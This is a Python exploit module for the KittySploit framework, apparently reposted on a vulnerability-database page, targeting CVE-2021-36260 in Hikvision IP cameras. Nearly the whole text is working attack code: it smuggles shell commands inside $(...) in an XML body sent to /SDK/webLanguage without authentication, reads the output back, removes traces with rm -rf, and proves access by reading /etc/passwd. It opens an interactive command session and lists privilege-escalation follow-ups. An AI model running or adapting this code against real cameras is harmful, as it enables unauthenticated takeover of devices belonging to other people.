Hikvision IP Camera - webLanguage Command Injection (CVE-2021-36260)
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Hikvision IP camera unauthenticated RCE (CVE-2021-36260) — opens execute session."""
import re
import secrets
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Hikvision IP Camera - webLanguage Command Injection (CVE-2021-36260)',
'description': (
'Exploits CVE-2021-36260 by injecting OS commands into PUT /SDK/webLanguage, '
'writing stdout under webLib/<token> and reading it back. Opens an interactive '
'execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2021-36260'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': [
'https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/',
'https://nvd.nist.gov/vuln/detail/CVE-2021-36260',
],
'tags': ['hikvision', 'camera', 'iot', 'rce', 'cmdi', 'unauth', 'kev', 'cve-2021-36260'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 3,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [
'post/shell/multi/gather/privesc_suggester',
'scanner/http/cve_2021_36260_detect',
],
},
},
}
def _headers(self):
return {
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/x-www-form-urlencoded',
}
def execute(self, cmd: str) -> str:
name = secrets.token_hex(6)
# Avoid nesting issues in XML/shell: write stdout then fetch.
safe = str(cmd).replace('"', '\\"')
payload = (
'<?xml version="1.0" encoding="UTF-8"?>'
f'<language>$({safe}>webLib/{name})</language>'
)
self.http_request(
method='PUT',
path='/SDK/webLanguage',
data=payload,
headers=self._headers(),
allow_redirects=False,
)
r = self.http_request(
method='GET',
path=f'/{name}',
headers=self._headers(),
allow_redirects=False,
)
self.http_request(
method='PUT',
path='/SDK/webLanguage',
data=(
'<?xml version="1.0" encoding="UTF-8"?>'
f'<language>$(rm -rf webLib/{name}>webLib/{name})</language>'
),
headers=self._headers(),
allow_redirects=False,
)
if not r:
return ''
return r.text or ''
def check(self):
body = self.execute('cat /etc/passwd')
if re.search(r'root:.*:0:0:', body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2021-36260 confirmed: /etc/passwd via webLanguage',
'confidence': 'high',
}
return {
'vulnerable': False,
'reason': 'No command output observed',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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10 Aug 2026 06:19Current
8.7High risk
Vulners AI Score8.7
CVSS 29.3
CVSS 3.19.8
EPSS0.99869
SSVC